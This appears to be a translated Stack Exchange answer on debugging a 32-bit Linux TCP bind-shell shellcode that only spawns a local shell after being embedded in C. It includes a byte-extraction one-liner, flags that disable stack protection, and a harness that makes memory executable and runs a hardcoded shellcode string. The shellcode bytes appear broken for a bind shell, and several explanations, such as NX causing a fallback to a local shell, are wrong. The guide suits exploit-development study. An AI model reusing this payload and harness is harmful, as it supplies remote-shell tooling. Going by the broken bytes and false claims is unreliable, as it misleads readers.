32位Linux下TCP Bind Shellcode嵌入代码后端口监听失效求助
排查32位Linux TCP Bind Shellcode提取后失效的问题
这问题我之前踩过好几次,核心原因基本都出在shellcode的执行环境差异或者提取/测试代码的细节错误上——毕竟你直接汇编运行是正常的,说明shellcode本身的逻辑和字节码没问题。咱们一步步拆解排查:
1. 先确认shellcode提取是否完全正确
直接汇编运行正常,不代表你提取的字节串和目标文件里的机器码完全一致。别用手动复制的方式,用标准命令提取:
objdump -d shellcode.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
然后用xxd shellcode.o查看目标文件的原始字节,和你提取的\x格式串逐字节对比,确保没有漏字节、多字节或者字节顺序搞反的情况。
2. 检查长度检测代码的常见坑
你提到加了长度检测后出问题,大概率是这段代码破坏了shellcode的执行条件:
- 栈权限问题:如果你的测试代码把shellcode存在栈上(比如
char shellcode[] = "...";),现代Linux默认栈是不可执行的,当shellcode执行到socket/bind系统调用时会触发权限错误,很多shellcode会做错误 fallback——直接执行本地shell。解决方法:
要么编译时关闭栈保护:gcc -m32 -fno-stack-protector -z execstack test.c -o test
要么用mprotect手动修改shellcode所在内存页的权限(更安全),示例代码见下文。 - 长度计算错误:如果你用字符串格式存储shellcode(带末尾
\0),用sizeof(shellcode)-1计算长度会截断字节;如果是用无终止符的字节数组存储,直接用sizeof(shellcode)才对。长度错了会导致shellcode的bind/listen逻辑被截断,直接跳到execve本地shell的部分。 - 寄存器污染:长度检测代码如果修改了
eax、ebx等shellcode依赖的寄存器,会导致系统调用失败。比如有些长度检测函数会用eax存返回值,覆盖了shellcode初始化时的寄存器状态。
3. 调试shellcode的执行流程
用gdb一步步看执行过程,能快速定位哪里出问题:
- 编译测试程序时加调试信息:
gcc -m32 -g test.c -o test - 启动gdb后,在shellcode起始位置打断点:
break *&shellcode - 运行程序后单步执行(
si),重点看这几个系统调用的返回值:socket()调用后eax应该是正的文件描述符(如果是-1说明socket创建失败)bind()调用后eax应该是0(-1说明端口绑定失败,比如端口被占用、sockaddr结构错误)- 如果bind失败,你的shellcode是不是有错误分支直接跳转到execve本地shell的逻辑?这就是你看到的“只出本地shell”的原因。
4. 修复后的测试代码示例
给你一个不会踩坑的测试模板,包含内存权限处理:
#include <stdio.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> // 替换成你提取的正确shellcode字节 unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x02\x00\x11\x5c\x6a\x01\x6a\x02\x6a\x04\x6a\x06\x58\xcd\x80\x89\xc3\x6a\x10\x5b\x50\x53\x5b\xcd\x80\xb0\x0e\xcd\x80\x31\xc0\xb0\x02\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; int main() { // 获取shellcode所在内存页的起始地址 void *sc_page = (void *)((unsigned long)shellcode & ~(getpagesize() - 1)); // 设置内存页为可读可写可执行 mprotect(sc_page, getpagesize(), PROT_READ | PROT_WRITE | PROT_EXEC); // 执行shellcode ((void (*)())shellcode)(); return 0; }
编译命令:gcc -m32 test.c -o test
最后总结
既然直接汇编运行正常,shellcode本身没问题,问题肯定出在提取后的执行环境上——要么是内存权限不够,要么是测试代码的逻辑破坏了shellcode的执行上下文。按上面的步骤排查,很快就能找到根源。
内容的提问来源于stack exchange,提问作者Shashank Gosavi
相关产品推荐
相关产品推荐

